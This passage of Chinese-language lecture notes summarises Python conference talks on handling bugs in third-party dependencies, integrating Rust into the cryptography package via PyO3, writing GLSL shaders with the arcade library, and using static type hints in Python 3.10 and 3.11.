- 并不总能应用(例如,需要修改的是被依赖函数内部的行为)。
4:进阶变通:机会性升级
好吧,我们都可以说我们要清理刚刚产生的技术债务,但实际上这个解决方法函数可能会永远存在。你可以使用的一种策略是将其变得不那么 hack,并最小化范围,我称之为机会升级。
这里的想法是,在我们的包装函数中,而不是无条件地应用这个变通,我只需写一个小函数,说明如果这个 pandas bug 目前活跃,就执行这个;否则,返回原始内容。
def has_pandas_bug():
"""通过特征检测判断Bug是否存在"""
try:
# 最小化复现Bug的代码
test_df = pd.DataFrame()
test_df.agg(lambda x: x, axis=1, 1)
return False # 如果没有报错,说明Bug已修复
except Exception as e:
# 如果触发了预期的错误,说明Bug存在
return True
def dataframe_agg_opportunistic(df, func, axis=0, *args, **kwargs):
"""仅在Bug存在时应用变通的包装函数"""
if has_pandas_bug():
# 应用变通逻辑
kwargs[‘extra_arg‘] = args[0] if args else None
return df.agg(func, axis=axis, **kwargs)
else:
# 直接调用原函数
return df.agg(func, axis=axis, *args, **kwargs)
判断Bug是否存在有两种主要策略:
- 特征检测:直接运行一个最小复现代码,看是否会触发错误。更健壮,不依赖具体的版本号。
- 版本检查:检查当前安装的库版本是否在受影响的范围内。实现简单,但需要精确知道受影响的版本范围。
优点:
- 最大程度减少了变通代码的影响范围。
- 当上游修复后,代码会自动恢复正常路径。
缺点:
- 特征检测可能复杂或耗时(例如,Bug是内存泄漏)。
- 版本检查需要精确的版本信息。
现实例子:
importlib.resources的回退实现。six库(用于Python 2/3兼容)。pytz的废弃垫片(deprecation shim)。
5:危险区域:猴子补丁
现在让我们进入下一个策略,这就是我们开始进入真正危险和 hacky 的领域,那就是猴子补丁。
猴子补丁的工作原理是,Python 中大多数模块和类都是可变的,并且它们存在于一个全局命名空间中。所以你实际上可以在运行时动态修改你想要修补的代码。
import pandas as pd
import pandas.core.groupby.generic
# 假设这是我们的修复函数
def patched_agg(self, func, axis=0, *args, **kwargs):
kwargs[‘extra_arg‘] = args[0] if args else None
# 调用原始的 agg 逻辑,这里需要访问原函数
return self._orig_agg(func, axis=axis, **kwargs)
# 保存原始函数的引用
pandas.core.groupby.generic.DataFrameGroupBy._orig_agg = pandas.core.groupby.generic.DataFrameGroupBy.agg
# 用我们的函数替换它
pandas.core.groupby.generic.DataFrameGroupBy.agg = patched_agg
优点:
- 可以全局性地、透明地修复问题,即使是你调用的其他库的代码使用了这个有Bug的函数。
- 无需修改大量调用点的代码。
缺点:
- 极其危险:动态修改代码,违背其他开发者的预期。
- 紧密耦合实现细节:补丁依赖于库的内部结构,库升级极易导致补丁失效。
- 作用域难以控制:补丁可能影响你未预料到的代码部分。
- 难以理解和调试。
建议:如果必须使用,请尽量缩小范围。例如,使用上下文管理器将补丁限制在特定代码块内。
from contextlib import contextmanager
@contextmanager
def temporary_monkey_patch():
original_agg = pandas.core.groupby.generic.DataFrameGroupBy.agg
pandas.core.groupby.generic.DataFrameGroupBy.agg = patched_agg
try:
yield
finally:
pandas.core.groupby.generic.DataFrameGroupBy.agg = original_agg
# 使用方式
with temporary_monkey_patch():
# 在这个代码块内,agg函数是被修补过的
some_other_function_that_uses_agg()
现实例子:
setuptools曾经广泛地对distutils进行猴子补丁,导致了很多长期问题。unittest.mock.patch本质上就是一个可控的、作用域明确的猴子补丁工具。
6:隔离策略:代码供应
下一个策略是供应商化。你在项目源代码中包含一个或多个依赖项的副本。
它的工作原理是,你只需将你拥有的依赖的源代码复制到你的项目树的某个地方,然后修改所有对这个依赖的导入,指向你本地的副本。
my_project/
├── src/
├── vendor/ # 供应商化目录
│ ├── __init__.py
│ └── squalene/ # 复制的依赖库代码
│ ├── __init__.py
│ └── ...
└── my_code.py
在 my_code.py 中:
# 不再使用 import squalene
from vendor import squalene # 导入供应商化副本
优点:
- 将你的更改与更广泛的系统隔离开来。
- 你可以完全控制依赖的版本和其中的补丁。
- 解决了“钻石依赖”问题(两个依赖需要同一个库的不同版本)。
缺点:
- 实现复杂:需要重写导入语句,处理内部相对导入等问题。
- 容易泄漏:供应商化代码中的某些导入可能仍会指向全局安装的版本。
- 不适用于公共API:如果你的函数需要返回该依赖定义的类型(如DataFrame),你无法返回来自供应商化副本的类型。
- 升级麻烦:需要手动合并上游更改和你本地的补丁。
现实例子:
pip和setuptools供应商化了它们的所有依赖,以避免引导问题。- 一些桌面应用(如
invoke)供应商化依赖,但可能导致依赖过期和安全问题。 - 本演讲的幻灯片源码就供应商化了
reveal.js库并应用了一个补丁。
7:最终手段:维护分支
最后一个选项是维护一个分支。当你在你的生产环境中部署和维护一个修补过的库或依赖版本时。
与供应商化的区别在于,这种方式是全球性的(安装在 site-packages 中),而不是作为你项目源码的一部分。
常见做法:
- 克隆上游仓库。
- 创建你的修复分支并提交补丁。
- 从这个分支构建你自己的包(如
.whl或系统包)。 - 在你的环境中部署这个自定义包。
优点:
- 相对容易开始(fork、修改、构建)。
- 有许多工具支持(如
quilt管理补丁序列)。
缺点:
- 维护负担重:你需要持续将上游更改合并到你的分支,解决冲突。
- 与上游脱节:上游的变更很容易破坏你的补丁。
- 造成生态分裂:组织内部可能开始依赖你分支的特有行为,导致未来无法撤回补丁或升级。
- 社区支持差:如果你基于此分支报告问题,上游维护者可能不予理会。
现实例子:
- 几乎所有 Linux 发行版都会为它们打包的软件携带补丁。
- 大型企业内部经常维护关键依赖的分支。
一个成功故事:在谷歌,我们曾为 attrs 库维护一个补丁分支。后来我向上游提交了一个 PR,将某个测试依赖改为可选依赖,并被接受。这让我们移除了最后一个补丁,现在可以轻松跟上 attrs 的官方更新。
总结与最终思考

本节课中我们一起学习了处理他人代码中Bug的多种策略,让我们回顾一下:
- 修复上游:黄金标准,利人利己,但可能有延迟。
- 本地变通(包装函数):可接受的权宜之计,易于部署和清理。
- 机会性升级:更智能的包装函数,能自动感知Bug修复。
- 猴子补丁:危险但强大的全局修改,应严格限制作用域。
- 代码供应:将依赖副本纳入项目,实现隔离,但实现复杂。
- 维护分支:部署自定义版本,长期维护负担最重。
我想给大家留下几个最后的思考:
- 耐心是一种被低估的美德。许多策略都会引入技术债务。建立组织流程,培养与上游维护者的良好关系,可以帮助你更有耐心地等待官方修复。
- 谨慎积累技术债务。快速解决问题的诱惑很大,但每一个 hack 都是未来需要偿还的债务。有意识地选择策略,并制定计划来清理它们。

069:演讲 - 保罗·凯赫尔 & 亚历克斯·盖纳


概述
在本教程中,我们将学习如何将 Rust 语言集成到 Python 项目中,以构建高性能且内存安全的扩展模块。我们将以 cryptography 库的实践经验为例,介绍从动机、工具选择、构建集成、发布策略到实际迁移的完整流程。无论你的项目规模如何,这些经验都将帮助你更顺畅地采用 Rust。
章节 1:为什么选择 Rust?🚀
上一节我们介绍了本教程的概述,本节中我们来看看选择 Rust 作为 Python 扩展语言的核心动机。
安全性至关重要。作为一个加密软件包,用户期望我们提供超出常规的安全保障。cryptography 库最初依赖用 C 语言编写的 OpenSSL 来处理所有加密算法(如 AES 和 RSA)以及解析 X.509 证书等结构。
C 语言虽然能编写出高性能的代码,但其内存安全性存在固有缺陷,容易引入缓冲区溢出和使用后释放等漏洞。OpenSSL 自身也曾遭遇此类问题,例如著名的“心脏出血”漏洞。
对大型 C/C++ 代码库的分析表明,大约三分之二的漏洞与内存安全性相关。这意味着,如果换用不同的编程语言,这些漏洞中的大部分是可以避免的。Rust 语言因此成为理想选择,原因如下:
- 内存安全:只要不使用
unsafe关键字,Rust 能从根本上杜绝缓冲区溢出等内存安全问题。 - 高性能:Rust 的性能可与 C 语言媲美,并提供对内存布局的精确控制。
- 现代工具链:Rust 拥有包管理器、构建系统、代码格式化器等一整套现代开发工具,并且与 Python 绑定的集成已经非常成熟。
- 广泛采用:Rust 已被许多大型科技公司广泛使用。
因此,为了最小化对 OpenSSL 潜在漏洞的暴露,并提升代码库的整体安全状态,我们决定在 cryptography 中引入 Rust。
章节 2:工具选择与初步集成 🛠️
上一节我们探讨了选择 Rust 的原因,本节中我们来看看具体需要哪些工具以及如何进行初步集成。
我们首先需要选择用于创建 Python 与 Rust 之间绑定的库。我们选择了 PyO3。PyO3 封装了 CPython 的 C API,其接口人性化、维护良好,并且几乎支持全部的 Python API 功能。
以下是一个使用 PyO3 的简单示例代码,它创建了一个包含单个函数的模块:
use pyo3::prelude::*;
/// 一个将整数乘以二的函数
#[pyfunction]
fn double(x: i32) -> i32 {
x * 2
}
/// 将函数注册为模块的一部分
#[pymodule]
fn my_rust_module(_py: Python, m: &PyModule) -> PyResult<()> {
m.add_function(wrap_pyfunction!(double, m)?)?;
Ok(())
}
PyO3 会自动处理许多细节,例如在 Rust 整数和 Python 整数之间进行转换,并在数值溢出时抛出异常。
接下来,我们需要解决如何构建 Rust 代码并将其集成到 Python 包的安装流程(pip install)中。我们希望这个过程对用户尽可能透明。为此,我们选择了 setuptools-rust,它由 PyO3 的维护者提供。
setuptools-rust 向 setup.py 的 setup() 函数添加了 Rust 扩展选项。你只需指向包含 Rust 代码的目录,它就会自动编译代码,将生成的 .so(或 .pyd)文件放置到正确位置。
章节 3:构建与持续集成(CI)的挑战 🧩
上一节我们介绍了核心工具,本节中我们来看看在构建和持续集成环境中遇到的具体挑战及其解决方案。

为了让最基本的集成通过测试,我们首先需要在所有持续集成(CI)环境中安装 Rust。以下是需要处理的环境:
- GitHub Actions:基础镜像已自带 Rust,无需额外操作。
- Docker 测试容器:需要在容器构建脚本中添加安装 Rust 的命令。
- OpenDev CI 服务:同样需要添加安装 Rust 的步骤。
- ReadTheDocs 文档服务:其官方 Docker 镜像最初没有 Rust。我们向该镜像提交了拉取请求(PR),成功将 Rust 添加进去,现在所有使用 ReadTheDocs 的项目都能轻松构建包含 Rust 的文档。

解决了环境问题后,我们面临一个更复杂的挑战:ABI3/有限 API 兼容性。
CPython 支持 ABI3(有限 API),使用其子集编译的扩展模块可以向前兼容,这意味着只需为所有 Python 3.x 版本构建一个 wheel 文件,而无需为 3.5、3.6、3.7 等每个版本单独构建。这对于维护多个 Python 版本的支持至关重要。
然而,当时的 PyO3 不支持 ABI3,总是针对完整的 CPython C API 进行构建。修复这个问题相当复杂,我们向 PyO3 团队提交了大约 7 个拉取请求,涉及数千行代码的重构。幸运的是,PyO3 团队给予了出色的支持,现在任何使用 PyO3 的人都可以通过启用一个选项来构建 ABI3 兼容的 wheel。
此外,我们还遇到一些平台特定的构建问题:
- Alpine Linux:它使用
musl libc,而 Rust 对其处理方式特殊。我们向setuptools-rust提交了 PR,使其能检测musl环境并传递正确的编译标志。 - 32 位 Windows:在 64 位 Windows 系统上运行 32 位 Python 时,一些工具会错误地尝试构建 64 位 Rust 库。我们同样通过向
setuptools-rust提交 PR 修复了此问题。
完成这些工作花费了数周甚至数月时间,但好消息是,这些努力只需付出一次。现在,不仅我们自己的项目能顺利构建,所有后续想要使用 PyO3 和 setuptools-rust 的开发者也能直接受益。
章节 4:发布策略与支持矩阵 📊
上一节我们解决了技术集成的挑战,本节中我们来看看如何制定发布策略以及确定对不同平台和环境的支持级别。
作为 Python 生态的基础组件,我们需要在“推动现代化以提升安全性”和“保持广泛兼容性以免影响用户”之间找到平衡。我们制定了四个非官方的支持级别:
以下是不同支持级别的具体说明:
- 一级支持(全面支持):我们在 CI 中测试并通过二进制 wheel 发布的平台(如 x86-64 Linux/macOS/Windows)。我们对这些平台有高度信心。
- 二级支持(尽力支持):我们无法在 CI 中测试,但在实际中有显著使用量的平台(如 ARM HF、MIPS)。我们会接受补丁并努力提供合理的使用体验。
- 三级支持(社区支持):较为小众的架构和操作系统。只要补丁质量良好并通过我们的 CI,我们会接受。
- 四级支持(不支持):例如过旧的 OpenSSL 版本、我们选择不支持的 Python 版本,或需要对代码库进行重大修改才能支持的架构(如 s390)。
我们依据 PyPI 的下载统计数据来指导决策,例如决定何时放弃对某个 Python 版本的支持(通常在使用率降至 5% 以下时)。
章节 5:分阶段发布与用户反馈 🔄
上一节我们制定了支持策略,本节中我们来看看如何通过分阶段发布来管理变更,并处理来自用户的反馈。
为了让用户平稳过渡,我们制定了一个两步发布计划,并通过邮件列表和 GitHub 问题提前与社区沟通:
- 版本 3.4:包含一个可选的 Rust 扩展模块。默认会构建,但并非运行
cryptography所必需,用户可以通过设置环境变量来禁用 Rust 构建。 - 版本 35.0(后改为新的主版本号方案):包含一个必需的 Rust 扩展模块,没有它库将无法工作。
我们于 2021 年 2 月 7 日发布了 3.4 版本。绝大多数用户没有遇到任何问题。然而,我们确实收到了一些重要的反馈,并从中吸取了教训:
以下是我们在首次发布后遇到的主要问题和学到的教训:
- 错误信息不友好:编译失败时,
pip输出的错误信息过于冗长和技术化。我们改进了错误处理,使其能捕获错误并输出更友好、更具指导性的消息,包含环境信息和常见问题解答的链接。 - 逃生机制不易发现:虽然文档中记录了禁用 Rust 的环境变量,但在错误信息或变更日志中没有突出提示。我们后续加强了这方面的提示。
- Rust 工具链的安装:一些用户需要学习如何安装特定版本的 Rust,这与他们通常通过系统包管理器安装 C 编译器的体验不同。我们提供了更清晰的指南。
- 版本号与用户期望:一些用户因“语义化版本”而锁定了
cryptography<3.4,当 3.4 包含重大构建变更时,他们的构建意外失败。为了避免这种“惊喜”,我们此后改为像 Firefox 一样,每个功能发布都使用新的主版本号(如 35.0, 36.0)。
我们也认识到,在引入 Rust 这样重大的变更时,不应同时发布其他侵入性更改,并且需要为可能遇到问题的用户提供更强大的调试支持。
章节 6:用 Rust 重写核心功能 ⚡
上一节我们讨论了发布和用户反馈,本节中我们来看看如何实际使用 Rust 重写核心功能以获取价值。
在构建基础设施就绪后,下一步就是用 Rust 做一些实际有用的事情。我们主要有两个目标:
- 替换我们自己编写的一小部分 C 代码(例如处理加密常量时间操作)。
- 替换 OpenSSL 的 X.509 证书处理层及其相关的 ASN.1 解析代码。
重写过程遵循了软件重构的最佳实践:
- 确保有良好的测试覆盖率。
- 不要一次性重写所有内容。
- 将重写分解为一系列小的、可测试的拉取请求(PR)。
- 确保每个 PR 都能保持测试通过,不让代码库处于半破损状态。
这次迁移带来了显著的收益:
- 安全性:达成了主要目标,消除了相关代码区域的内存安全漏洞风险。
- 性能:获得了巨大的性能提升。例如,将 OCSP 响应解析器从 OpenSSL/C 实现迁移到 Rust 实现后,性能提升了 10 倍。这是因为 OpenSSL 的解析代码进行了大量内存分配和复制,而利用 Rust 的安全特性,我们可以轻松编写出零分配、零拷贝的解析器。
- 架构改进:使 API 边界更加清晰。例如,我们的 X.509 API 不再与 OpenSSL 的私钥对象深度耦合,现在可以支持云密钥管理服务等更多场景。
章节 7:总结与展望 🎯
在本教程中,我们一起学习了将 Rust 集成到 Python 项目中的完整旅程。
我们从安全性和性能的动机出发,选择了 PyO3 和 setuptools-rust 作为核心工具。我们克服了构建与 CI 集成中的诸多挑战,特别是解决了 ABI3 兼容性和跨平台构建问题。我们制定了清晰的发布策略和支持矩阵,并通过分阶段发布来管理用户过渡,积极吸取用户反馈以改善体验。最后,我们成功用 Rust 重写了核心功能,在提升安全性的同时,获得了显著的性能改进和架构收益。
我们的采用曲线显示,在发布需要 Rust 的版本后,大部分用户都成功地完成了迁移。目前,约 80% 的 cryptography 下载包含了 Rust 组件。
这项工作证明,Rust 现在是一个可行的选择,无论你的 Python 项目有多么流行和关键。虽然初期需要投入精力解决工具链和集成问题,但绝大多数基础工作已经完成,并且成果已贡献给上游,可供整个社区使用。
未来仍有改进空间,例如为 FreeBSD 等系统提供预编译 wheel,进一步简化构建工具链,或实现与 CPython 更深的集成。但毫无疑问,今天在 Python 中使用 Rust 的体验对大多数用户来说已经非常优秀。

希望本教程能激励和帮助你在自己的项目中考虑并采用 Rust,共同建设一个更安全、更高效的 Python 生态系统。
070:演讲 - 保罗·文森特·克雷文


在本教程中,我们将学习如何利用图形处理器(GPU)的强大能力,为你的程序创建酷炫的视觉效果。我们将了解为何要使用GPU,它与CPU处理方式的区别,并通过一个简单的发光球体示例,手把手教你如何用Python和GLSL着色器开始你的GPU编程之旅。
为何使用GPU?🚀
上一节我们介绍了本课程的目标,本节中我们来看看为何要使用GPU。
CPU是计算机的大脑,负责处理通用计算任务。然而,当涉及到图形渲染和大量并行计算时,拥有成千上万个小型处理核心的GPU则更为高效。将图形工作从CPU卸载到GPU,可以释放CPU去处理游戏逻辑、物理模拟等任务,同时实现更复杂、更流畅的视觉效果。
以下是使用GPU可以实现的几个优势:
- 处理海量精灵:基于CPU的库(如Pygame)可能难以流畅渲染超过2000个精灵。而基于GPU的库可以轻松处理数万甚至数百万个精灵。
- 实现高级特效:如光晕、粒子效果、动态光影等,这些效果在CPU上实现困难,但正是GPU的专长。
- 进行大规模并行计算:例如模拟成千上万个具有相互作用的物体(如引力计算),这在GPU上可以高效完成,而在CPU上则几乎不可能实时运行。
CPU与GPU工作方式的区别🔄
上一节我们了解了GPU的优势,本节中我们来看看它与CPU在工作方式上的核心区别。
传统的CPU绘图方式是“即时模式”,即每帧都向显卡发送具体的绘制命令(如“画一个矩形”)。这种方式无法充分利用GPU的并行能力,甚至可能更慢。
现代GPU编程则采用“保留模式”。其核心思想是:提前将数据和“脚本”(着色器)发送到GPU。在游戏运行时,CPU只需告诉GPU“绘制我之前给你的那些东西”,或者更新少量数据(如位置坐标),GPU就能并行地、高效地完成所有渲染和计算。
关键公式/概念:
- CPU即时模式:
每帧:发送绘制命令 -> GPU执行 - GPU保留模式:
初始化:发送数据 + 着色器脚本 -> 运行时:CPU更新少量数据 -> GPU并行执行脚本进行渲染/计算
开始实践:创建你的第一个着色器🎯
理解了基本原理后,本节我们将动手创建一个简单的Python程序,并运行一个GLSL着色器,在屏幕上绘制一个发光球体。
我们将使用 arcade 库,它简化了创建窗口和加载着色器的过程。首先,确保安装arcade库:pip install arcade。
第一步:创建基础窗口
首先,我们需要一个能显示内容的窗口。以下是创建窗口的Python代码框架。
import arcade
class MyGame(arcade.Window):
def __init__(self):
# 调用父类初始化,设置窗口大小为1920x1080
super().__init__(1920, 1080, “GPU特效示例”)
# 后续将在这里初始化着色器
def on_draw(self):
# 此函数每秒被调用约60次,用于绘制
# 目前只是清空屏幕(黑色)
arcade.start_render()
# 创建窗口并运行程序
if __name__ == “__main__”:
window = MyGame()
arcade.run()
第二步:加载并运行着色器
有了窗口之后,添加着色器非常简单。我们需要从文件加载一个GLSL着色器,并在每帧渲染它。
以下是更新后的 __init__ 和 on_draw 方法:
import arcade
from arcade.experimental import Shadertoy
class MyGame(arcade.Window):
def __init__(self):
super().__init__(1920, 1080, “GPU特效示例”)
# 获取窗口尺寸
window_size = self.get_size()
# 从文件创建着色器
self.shadertoy = Shadertoy.create_from_file(window_size, “circle.glsl”)
def on_draw(self):
# 清空屏幕后,渲染我们的着色器
arcade.start_render()
self.shadertoy.render()
第三步:编写GLSL着色器(基础圆)
现在,我们来编写 circle.glsl 着色器文件。着色器是一个小程序,会对屏幕上的每一个像素执行一次。
初始版本将在屏幕左下角原点附近绘制一个白色区域。
// 着色器玩具(Shadertoy)框架的基本结构
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
// 1. 将像素坐标标准化(转换到0.0到1.0的范围)
vec2 uv = fragCoord / iResolution.xy;
// 2. 计算当前像素到原点(0,0)的距离
float dist = length(uv);
// 3. 根据距离决定颜色:距离小于0.2为白色,否则为黑色
vec3 color = vec3(0.0); // 初始化为黑色
if (dist < 0.2) {
color = vec3(1.0); // 白色
}
// 4. 输出最终颜色(RGB)和透明度(A)
fragColor = vec4(color, 1.0);
}
代码解释:
mainImage是主函数,每个像素调用一次。fragCoord是输入,代表当前像素的坐标。fragColor是输出,代表该像素应显示的颜色(RGBA)。iResolution是着色器玩具框架提供的全局变量,包含屏幕分辨率。length()是GLSL内置函数,计算向量的长度(即距离)。vec3(1.0)表示一个由三个1.0组成的向量,即白色。
第四步:改进着色器(居中且正圆)
上一步的圆在角落且可能是椭圆。我们需要将其移动到屏幕中心,并修正宽高比使其成为正圆。
更新 circle.glsl 中的计算部分:
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
// 标准化坐标
vec2 uv = fragCoord / iResolution.xy;
// 将坐标原点移动到屏幕中心
vec2 centered_uv = uv - vec2(0.5);
// 修正纵横比,确保是正圆(假设y轴需要调整)
centered_uv.y /= iResolution.y / iResolution.x;
// 计算到屏幕中心的距离
float dist = length(centered_uv);
vec3 color = vec3(0.0);
if (dist < 0.2) {
color = vec3(1.0);
}
fragColor = vec4(color, 1.0);
}
第五步:实现发光效果
一个实心圆不够酷,让我们给它添加发光效果。原理是使用距离的倒数来创建平滑的渐变。
再次更新 circle.glsl 的颜色计算逻辑:
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
vec2 uv = fragCoord / iResolution.xy;
vec2 centered_uv = uv - vec2(0.5);
centered_uv.y /= iResolution.y / iResolution.x;
float dist = length(centered_uv);
// 基础颜色(白色)
vec3 base_color = vec3(1.0);
// 使用距离的倒数创建渐变,并乘以一个缩放因子控制光晕大小
float intensity = 0.02 / dist;
// 将基础颜色与强度相乘
vec3 final_color = base_color * intensity;
fragColor = vec4(final_color, 1.0);
}
第六步:从Python传递数据(控制位置与颜色)
我们希望用鼠标控制发光球的位置,并能自定义其颜色。这需要从Python程序向着色器传递数据。
首先,在Python端(MyGame类中)获取鼠标位置并传递数据:
class MyGame(arcade.Window):
def __init__(self):
super().__init__(1920, 1080, “GPU特效示例”)
window_size = self.get_size()
self.shadertoy = Shadertoy.create_from_file(window_size, “circle.glsl”)
# 初始化一个默认颜色(浅蓝色)
self.light_color = (0.7, 0.8, 1.0)
def on_draw(self):
arcade.start_render()
# 1. 获取鼠标位置
mouse_pos = self.get_mouse_position()
# 2. 准备要传递给着色器的数据
self.shadertoy.program[‘pos’] = mouse_pos
self.shadertoy.program[‘color’] = self.light_color
# 3. 渲染着色器
self.shadertoy.render()
然后,修改GLSL着色器以接收并使用这些数据:
// 从Python程序接收的“统一变量”(每个像素值相同)
uniform vec2 pos; // 发光球位置
uniform vec3 color; // 发光球颜色
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
vec2 uv = fragCoord / iResolution.xy;
// 将传入的鼠标位置也标准化
vec2 normalized_mouse_pos = pos / iResolution.xy;
// 计算当前像素与鼠标位置的距离(两者都已标准化)
float dist = length(uv - normalized_mouse_pos);
// 使用传入的颜色,而不是固定的白色
vec3 base_color = color;
float intensity = 0.02 / dist;
vec3 final_color = base_color * intensity;
fragColor = vec4(final_color, 1.0);
}
更多可能性与学习资源🔮
通过上面的步骤,我们已经成功创建了一个由GPU驱动的交互式发光球特效。但这仅仅是开始。着色器还能用于实现更多效果:
以下是你可以进一步探索的方向:
- 阴影与光照:在2D场景中模拟动态光影效果。
- 粒子系统与大规模模拟:在GPU上模拟数万个相互作用的物体(如星空模拟)。
- 后期处理滤镜:为整个游戏画面或视频添加CRT扫描线、模糊、颜色校正等效果。
- 几何变形:创建波浪、融化等动态纹理效果。
学习资源建议:
- Shadertoy网站:一个在线社区,可以编写和分享GLSL着色器代码,是绝佳的灵感来源和学习平台。
- Arcade库文档:查看关于
Shadertoy和OpenGL的更多高级示例和说明。 - OpenGL/GLSL教程:深入学习着色器编程的语法和概念。
总结🎉
在本教程中,我们一起学习了GPU编程的核心概念与实践方法。
我们首先了解了GPU并行计算的优势。然后,我们对比了CPU即时模式与GPU保留模式工作流程的根本区别。接着,我们通过一个完整的示例,学会了如何:
- 使用
arcade库创建应用窗口。 - 加载并运行GLSL着色器。
- 编写一个从绘制基础图形到产生发光效果的着色器。
- 从Python程序向着色器传递数据(如鼠标位置和颜色),实现交互。

你现在已经掌握了利用GPU力量的第一步。鼓励你大胆实验,修改着色器中的数字和公式,观察不同的视觉效果,并尝试将着色器应用到你的游戏或图形项目中。
071:演讲 - Peacock_ 在 Python 3.10 中入门静态类型编程

概述

在本教程中,我们将学习如何在 Python 中开始使用静态类型。我们将从为什么需要类型提示开始,逐步介绍基本语法、常用类型、高级概念,并了解 Python 3.10 及 3.11 中引入的新类型特性。本教程旨在让初学者能够轻松理解并应用类型提示来编写更健壮、更易维护的代码。
为什么需要类型提示?🤔
在开始学习具体语法之前,我们先了解类型提示的动机。考虑以下没有类型提示的代码:
def process_data(data):
return data.upper() + 1
这段代码在编写时不会报错。然而,当我们传入一个字符串时,data.upper() 可以工作,但加上整数 1 会导致运行时错误。如果我们传入一个整数,data.upper() 本身就会出错。没有类型提示,我们无法在代码运行前发现这些潜在的错误。类型提示的目的就是在开发阶段(通过类型检查工具)提前发现这类问题,提高代码的可靠性。
基础入门:从函数定义开始 ✍️
上一节我们看到了缺乏类型提示可能带来的问题。本节中,我们来看看如何为函数添加基本的类型提示。
为函数添加类型提示非常简单。只需在参数名后加上冒号和类型,在函数定义的冒号和函数体之间,用 -> 指明返回类型。
def greet(name: str) -> str:
return f"Hello, {name}"
def initialize() -> None:
print("Initializing...")
以下是几个要点:
None用于表示函数没有返回值(或返回None)。- 基本类型如
int,float,bool,str,bytes可以直接使用。
使用内置与标准库类型 📦
我们已经学会了为函数参数和返回值添加基本类型。在实际编码中,我们经常需要处理更复杂的数据结构,如列表、字典等。以下是常用的集合类型及其表示方法。
在 Python 3.9 及以后版本,你可以直接使用内置的 list, dict, tuple 等作为泛型。
from typing import Dict, List, Tuple, Set
# Python 3.9+ 的写法 (推荐)
def process_items(items: list[int]) -> list[str]:
return [str(item) for item in items]
# Python 3.8 及之前的写法
def old_process_items(items: List[int]) -> List[str]:
return [str(item) for item in items]
除了基本集合,标准库 typing 模块还提供了许多其他有用的类型:
Iterable:任何可迭代对象。Sequence:只读序列(如list,tuple)。MutableSequence:可变序列(如list)。Mapping:只读映射(如dict)。MutableMapping:可变映射(如dict)。
选择更通用的类型(如 Sequence 而非 list)可以使你的函数接口更灵活,接受更多类型的参数。
元组与字面量类型 🧩
列表和字典通常包含同一类型的元素。但有时我们需要表示固定长度或固定值的类型,这时就需要用到元组类型和字面量类型。
元组类型 可以精确表示每个位置元素的类型和总长度。
def get_coordinates() -> tuple[float, float]:
return (1.5, 2.8)
# 表示一个包含不同类型元素的固定长度元组
person: tuple[str, int, str] = ("Alice", 30, "Engineer")
字面量类型 用于限制变量只能是特定的几个值。
from typing import Literal
Direction = Literal["north", "south", "east", "west"]
def move(direction: Direction) -> None:
print(f"Moving {direction}")
高级类型概念 🔧
掌握了基础类型后,我们来看看如何组合它们以表达更复杂的约束。本节介绍联合类型、可选类型和可调用对象。
联合类型
联合类型表示一个值可以是几种类型中的任意一种。在 Python 3.10+ 中,使用 | 运算符。
# Python 3.10+
def square(number: int | float) -> int | float:
return number ** 2
# Python 3.9 及之前
from typing import Union
def old_square(number: Union[int, float]) -> Union[int, float]:
return number ** 2
可选类型
可选类型是一种特殊的联合类型,表示一个值可以是某种类型,也可以是 None。它是 T | None 的简写。
from typing import Optional
def find_user(user_id: str) -> Optional[dict]:
# 如果找到用户,返回用户信息字典,否则返回 None
...
使用 Optional 时需注意,在后续代码中需要处理值可能为 None 的情况。
可调用类型
可调用类型用于注解函数参数或返回值本身是函数的情况。
from typing import Callable
def apply_func(func: Callable[[int, int], int], x: int, y: int) -> int:
"""接受一个接收两个int并返回int的函数,并应用它。"""
return func(x, y)
创建自定义泛型类型 🏗️
有时内置类型不足以描述我们的数据结构。这时,我们可以创建自己的泛型类。
通过继承 typing.Generic 并指定类型变量来定义泛型类。
from typing import Generic, TypeVar
T = TypeVar('T') # 声明一个类型变量
class Stack(Generic[T]):
def __init__(self) -> None:
self.items: list[T] = []
def push(self, item: T) -> None:
self.items.append(item)
def pop(self) -> T:
return self.items.pop()
# 使用
int_stack: Stack[int] = Stack()
int_stack.push(1)
# int_stack.push("string") # 类型检查器会报错
版本兼容性与新特性概述 🆕
Python 的类型提示系统在不断进化。为了确保代码在不同版本的 Python 中都能工作,可以使用 from __future__ import annotations 语句。它将所有类型注解视为字符串,避免在运行时求值。
from __future__ import annotations
# 这样,即使在 Python 3.9 中也能使用 `list[int]` 这样的语法而不会报错
以下是各版本引入的重要类型相关特性速览:
- Python 3.7:
dataclass,简化类的创建。 - Python 3.8: 字面量类型 (
Literal),更精确的类型提示。 - Python 3.9: 内置集合泛型语法 (
list[int]),更简洁。 - Python 3.10: 类型联合运算符 (
|),参数说明变量 (ParamSpec),类型保护等。 - Python 3.11:
Self类型,用于注解返回类实例的方法。
Python 3.10 类型新特性详解 🚀
Python 3.10 为类型系统带来了几项重要改进,让类型提示更强大、更易用。
1. 更简洁的联合类型语法
使用 | 替代 Union。
def func(arg: int | str) -> int | str:
...
2. 参数说明变量
ParamSpec 用于捕获可调用对象的参数签名,在装饰器等场景中非常有用,能更好地保持类型信息。
from typing import Callable, ParamSpec, TypeVar
P = ParamSpec("P")
R = TypeVar("R")
def decorator(func: Callable[P, R]) -> Callable[P, R]:
def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
print("Calling function")
return func(*args, **kwargs)
return wrapper
3. 类型保护
TypeGuard 允许你定义用户自定义的类型保护函数,帮助类型检查器在条件分支后缩小变量类型范围。
from typing import TypeGuard
def is_str_list(val: list[object]) -> TypeGuard[list[str]]:
return all(isinstance(x, str) for x in val)
def process(items: list[object]) -> None:
if is_str_list(items):
# 在此分支内,items 被识别为 list[str]
print(" ".join(items)) # 安全
else:
...
Python 3.11:Self 类型 🤖
Python 3.11 引入了 Self 类型,用于注解返回类实例的方法,特别是在继承场景下非常有用。
from typing import Self
class Shape:
def set_scale(self, scale: float) -> Self:
self.scale = scale
return self # 返回自身以实现链式调用
class Circle(Shape):
def set_radius(self, radius: float) -> Self:
self.radius = radius
return self
circle = Circle()
# 类型检查器知道 set_scale 返回的是 Circle 实例
circle.set_scale(1.5).set_radius(10)
使用 Self 比使用泛型或 "Shape" 字符串字面量更直观、更准确。
总结 📝
本节课中我们一起学习了 Python 静态类型编程的入门知识。
